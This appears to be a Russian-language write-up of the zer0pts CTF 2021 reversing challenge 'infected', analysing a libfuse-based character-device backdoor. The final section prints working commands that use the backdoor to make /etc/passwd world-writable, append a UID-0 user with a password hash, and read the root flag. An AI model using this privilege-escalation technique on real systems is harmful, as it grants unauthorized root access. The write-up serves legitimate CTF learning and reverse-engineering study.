У недавнего zer0pts CTF 2021 была реверсивная проблема: заражение в реверсивной, разминочной категории. [96 баллов]

На этой машине установлен бэкдор: nc other.ctf.zer0pts.com 11011 или nc any.ctf.zer0pts.com 11011

Как я могу использовать его, чтобы получить флаг в каталоге /root?

автор: ptr-yudai

infected_bf473725549e7b89f972756fef2936aa.tar.gz

Давайте попробуем загрузить программу в IDA и посмотрим, что же такое бэкдор. Main просто вызывает register_backdoor, который регистрирует драйвер libfuse в /dev/backdoor.

Он передает структуру cuse_lowlevel_ops с именем devops. Давайте подробнее исследуем эту структуру, чтобы найти функции открытия, чтения и записи.

Мы видим, что в нем есть указатели на определенные функции: backdoor_open, backdoor_write. Backdoor open не делает ничего особенного, давайте посмотрим на backdoor_write:

Мы можем видеть, что он ищет сообщение шаблона:

b4ckd00r:<file>:<perms>

Если шаблон совпадает, он вызовет chmod для файла и установит его с предоставленными нами разрешениями. На данный момент я просмотрел несколько примеров libfuse, и один из них реализует cuse_lowlevel_main: https://github.com/libfuse/libfuse/blob/master/example/cuse.c.

Мы можем скомпилировать этот пример и протестировать его, чтобы увидеть, какие функции запускают вызов записи. Я внес изменения в программу cuse.c и добавил вызовы печати при вызове записи, main и других функциях:

root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example# ./cuse -f — name=testfuse
Hey main!
Flags: 1

Давайте попробуем использовать cuse_client для связи с устройством char в /dev/testfuse.

# echo "hello" | ./cuse_client /dev/testfuse w 5
Writing 5 bytes
5
transferred 5 bytes (0 -> 5)
root@ctf-VirtualBox:/home/ctf/zer0/infected/libfuse/example#

Мы можем видеть вывод журнала в tty, который работает ./cuse.

# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Hey open!
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)

cuse_client взаимодействует с драйвером libfuse с помощью вызовов IOCTL:

В этот момент я на какое-то время застрял и не думал, что мы можем просто передать эхо в символьный драйвер, который реализует запись. Давайте попробуем это:

# echo “writing through echo” > /dev/testfuse

Мы видим, что срабатывают вызовы open и write:

# ./cuse -f — name=testfuse
Hey main!
Flags: 1
Hey open!
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
IOCTL read/write call (fioc_do_rw)
Hey open!
Hey writing, writing through echo

Идеально! Давайте попробуем отправить эту полезную нагрузку в бэкдор и посмотрим, сможет ли он на самом деле изменить файл с нашими разрешениями. «b4ckd00r:/etc/passwd:511:

/ $ echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
/ $ ls -al /etc/passwd
ls -al /etc/passwd
-rwxrwxrwx    1 root     root           340 Mar  4 03:56 /etc/passwd
/ $

Файл /etc/passwd теперь доступен для записи. (511 — это всего лишь 0777 в десятичном виде). Давайте добавим нового пользователя root для доступа к /root:

/ $ echo "lionaneesh:aajextnUQwGKg:0:0:toor:/root:/bin/sh" >> /etc/passwd
/ # su lionaneesh
Password: igotroot
/ # cat root/flag*
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

Спасибо за этот удивительный вызов ptr-yudai. Мне очень понравилось узнавать о вредоносном ПО на основе libfuse.